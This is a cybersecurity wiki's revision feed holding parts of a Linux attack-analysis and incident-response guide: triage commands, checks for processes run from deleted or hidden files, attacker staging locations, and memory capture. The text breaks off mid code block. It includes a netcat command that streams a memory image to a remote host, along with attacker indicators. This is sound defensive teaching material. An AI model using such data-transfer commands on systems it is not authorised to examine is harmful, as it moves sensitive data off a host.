|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Conclusions and open questions.&#039;&#039;&#039; The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the &amp;lt;code&amp;gt;deploy&amp;lt;/code&amp;gt; SSH login also the attacker (check that account&#039;s history and keys)? What did the attacker reach with the web user&#039;s permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.&lt;br /&gt;
&lt;br /&gt;
== After the analysis ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Contain:&#039;&#039;&#039; isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.&lt;br /&gt;
* &#039;&#039;&#039;Eradicate and recover:&#039;&#039;&#039; if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.&lt;br /&gt;
* &#039;&#039;&#039;Reset credentials and keys&#039;&#039;&#039; that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.&lt;br /&gt;
* &#039;&#039;&#039;Close the way in:&#039;&#039;&#039; patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).&lt;br /&gt;
* &#039;&#039;&#039;Write it up:&#039;&#039;&#039; the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.&lt;br /&gt;
&lt;br /&gt;
== Quick reference: symptom to first check ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Symptom !! First place to look&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected logins || &amp;lt;code&amp;gt;last -aiF&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;auth.log&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;secure&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;journalctl -u ssh&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Web server slow or making outbound connections || Process tree (&amp;lt;code&amp;gt;ps --forest&amp;lt;/code&amp;gt;), &amp;lt;code&amp;gt;ss -tnp&amp;lt;/code&amp;gt;, web access and error logs&lt;br /&gt;
|-&lt;br /&gt;
| A process you cannot identify || &amp;lt;code&amp;gt;/proc/PID/exe&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cwd&amp;lt;/code&amp;gt;; is the executable deleted, under &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, or in a hidden directory?&lt;br /&gt;
|-&lt;br /&gt;
| A user or service you do not recognize || &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; (UID 0 and login shells), &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| A program that keeps coming back || &amp;lt;code&amp;gt;crontab&amp;lt;/code&amp;gt;s, &amp;lt;code&amp;gt;systemctl list-timers&amp;lt;/code&amp;gt;, enabled unit files, shell start-up files, scripts those run&lt;br /&gt;
|-&lt;br /&gt;
| Someone can log in without a password || &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; files, &amp;lt;code&amp;gt;sshd_config&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Commands behave strangely or disagree || &amp;lt;code&amp;gt;debsums&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;rpm -Va&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt;, a memory image with Volatility, a trusted boot disk, &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; as a secondary check&lt;br /&gt;
|-&lt;br /&gt;
| Logs look too clean || File sizes and mtimes in &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt;, remote log server, &amp;lt;code&amp;gt;journalctl --verify&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;What happened, and in what order?&amp;quot; || A timeline: &amp;lt;code&amp;gt;find -printf&amp;lt;/code&amp;gt; for a quick look, TSK &amp;lt;code&amp;gt;fls&amp;lt;/code&amp;gt; plus &amp;lt;code&amp;gt;mactime&amp;lt;/code&amp;gt; for a full one&lt;br /&gt;
|-&lt;br /&gt;
| Machine is off, or you have only a disk || Mount the image read-only (&amp;lt;code&amp;gt;ro,noexec,noload&amp;lt;/code&amp;gt;) and work through steps 2 to 6 on the mount&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Practicing safely ==&lt;br /&gt;
&lt;br /&gt;
The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the &#039;&#039;defender&#039;&#039; side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.&lt;br /&gt;
&lt;br /&gt;
For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi&#039;s team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository&#039;s own terms before copying or redistributing anything from it.&lt;br /&gt;
&lt;br /&gt;
== Credits and license ==&lt;br /&gt;
&lt;br /&gt;
Parts of this page are adapted from &#039;&#039;Linux Forensics&#039;&#039; (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].&lt;br /&gt;
&lt;br /&gt;
== Sources and further reading ==&lt;br /&gt;
&lt;br /&gt;
* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics &#039;&#039;Linux Forensics&#039;&#039;]. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.&lt;br /&gt;
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&amp;amp;CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.&lt;br /&gt;
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.&lt;br /&gt;
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.&lt;br /&gt;
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).&lt;br /&gt;
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;stat&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ausearch&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;losetup&amp;lt;/code&amp;gt; and the other commands used above.&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;/div&gt;</summary>
		<author><name>FlyingShrimps</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=266</id>
		<title>Attack Analysis</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Attack_Analysis&amp;diff=266"/>
		<updated>2026-10-02T23:36:25Z</updated>

		<summary type="html">&lt;p&gt;FlyingShrimps: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attack analysis&#039;&#039;&#039; is the work you do &#039;&#039;after&#039;&#039; something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.&lt;br /&gt;
&lt;br /&gt;
== Ground rules ==&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Only analyze systems you own or are explicitly authorized to examine.&#039;&#039;&#039; This one is pretty self-explanatory.&lt;br /&gt;
* &#039;&#039;&#039;Write down what you do.&#039;&#039;&#039; Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker&#039;s.&lt;br /&gt;
* &#039;&#039;&#039;Any indicator is a lead, but not proof.&#039;&#039;&#039; A failed-login flood, an odd file in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.&lt;br /&gt;
* &#039;&#039;&#039;Do not trust a compromised machine to tell the truth.&#039;&#039;&#039; If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].&lt;br /&gt;
* &#039;&#039;&#039;Understand before you delete.&#039;&#039;&#039; Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.&lt;br /&gt;
* &#039;&#039;&#039;Work on copies, read-only.&#039;&#039;&#039; Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with &amp;lt;code&amp;gt;sha256sum&amp;lt;/code&amp;gt;) of each image when you make it so you can show later that it did not change.&lt;br /&gt;
&lt;br /&gt;
== The analysis loop ==&lt;br /&gt;
&lt;br /&gt;
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Preserve&#039;&#039;&#039; evidence: memory, running state and disks, before they change or disappear.&lt;br /&gt;
# &#039;&#039;&#039;Find the way in&#039;&#039;&#039;: the initial access (a guessed password, a vulnerable web application, a stolen key).&lt;br /&gt;
# &#039;&#039;&#039;Find what they did&#039;&#039;&#039;: commands run, files touched, accounts created, data reached, etc.&lt;br /&gt;
# &#039;&#039;&#039;Find what they left behind&#039;&#039;&#039;: persistence/backdoors so they can come back.&lt;br /&gt;
# &#039;&#039;&#039;Look for hiding&#039;&#039;&#039;: rootkits and log tampering.&lt;br /&gt;
# &#039;&#039;&#039;Build a timeline&#039;&#039;&#039; that ties the above together, and check it for gaps.&lt;br /&gt;
# &#039;&#039;&#039;Contain, clean up and harden&#039;&#039;&#039;: only once you understand the scope.&lt;br /&gt;
&lt;br /&gt;
== Three ways to examine a system ==&lt;br /&gt;
&lt;br /&gt;
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Approach !! What you get !! Watch out for&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Live system&#039;&#039;&#039; (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Memory image&#039;&#039;&#039; || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description (&amp;quot;symbols&amp;quot;) of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Disk image&#039;&#039;&#039; || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Where Linux keeps evidence ==&lt;br /&gt;
&lt;br /&gt;
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you&lt;br /&gt;
|-&lt;br /&gt;
| Authentication and sudo || &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt; || SSH logins (successful and failed), &amp;lt;code&amp;gt;sudo&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; use, new accounts&lt;br /&gt;
|-&lt;br /&gt;
| General system log || &amp;lt;code&amp;gt;/var/log/syslog&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/messages&amp;lt;/code&amp;gt; || Service starts and crashes, kernel messages, cron runs&lt;br /&gt;
|-&lt;br /&gt;
| systemd journal || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; || The same events, indexed; the only source on systems without a syslog daemon&lt;br /&gt;
|-&lt;br /&gt;
| Login records || &amp;lt;code&amp;gt;last&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastb&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt; (read &amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;) || same || Who logged in, from where, and when; failed logins&lt;br /&gt;
|-&lt;br /&gt;
| Web server logs || &amp;lt;code&amp;gt;/var/log/apache2/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/httpd/&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/var/log/nginx/&amp;lt;/code&amp;gt; || Every request the web server handled (see below)&lt;br /&gt;
|-&lt;br /&gt;
| Audit framework (if installed) || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/var/log/audit/audit.log&amp;lt;/code&amp;gt; || File access, command execution and account changes, according to the rules configured&lt;br /&gt;
|-&lt;br /&gt;
| Package history || &amp;lt;code&amp;gt;/var/log/dpkg.log&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/apt/history.log&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;dnf history&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/log/dnf.log&amp;lt;/code&amp;gt; || Software installed or removed, and when&lt;br /&gt;
|-&lt;br /&gt;
| Shell history || &amp;lt;code&amp;gt;~/.bash_history&amp;lt;/code&amp;gt; (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)&lt;br /&gt;
|-&lt;br /&gt;
| Scheduled tasks || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/crontabs/&amp;lt;/code&amp;gt; || &amp;lt;code&amp;gt;/etc/crontab&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/etc/cron.*&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/spool/cron/&amp;lt;/code&amp;gt; || Commands that run automatically&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;/var/log/auth.log&amp;lt;/code&amp;gt; does not exist on a newer install, the system is logging to the journal only; use &amp;lt;code&amp;gt;journalctl&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
When you examine a &#039;&#039;&#039;mounted disk image&#039;&#039;&#039; (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example &amp;lt;code&amp;gt;/mnt/data/var/log/auth.log&amp;lt;/code&amp;gt;. It is easy to read your own workstation&#039;s &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; by accident.&lt;br /&gt;
&lt;br /&gt;
== Step 1: Preserve evidence ==&lt;br /&gt;
&lt;br /&gt;
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and &#039;&#039;&#039;do not reboot&#039;&#039;&#039; the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.&lt;br /&gt;
&lt;br /&gt;
=== Live triage and volatile state ===&lt;br /&gt;
&lt;br /&gt;
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
date -u; uptime                     # record the time and how long it has been up&lt;br /&gt;
who -a; w                           # who is logged in right now, and doing what&lt;br /&gt;
ps -eo pid,ppid,user,lstart,cmd --forest   # process tree with start times&lt;br /&gt;
sudo ss -tunap                      # all sockets with the owning process&lt;br /&gt;
sudo lsof -nP -i                    # network files, a second opinion on ss&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a &amp;quot;body file&amp;quot; of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# run from the unpacked UAC directory; &amp;quot;ir_triage&amp;quot; is the quick profile, &amp;quot;full&amp;quot; adds browser and application data&lt;br /&gt;
sudo ./uac -p ir_triage /mnt/evidence&lt;br /&gt;
&lt;br /&gt;
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)&lt;br /&gt;
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
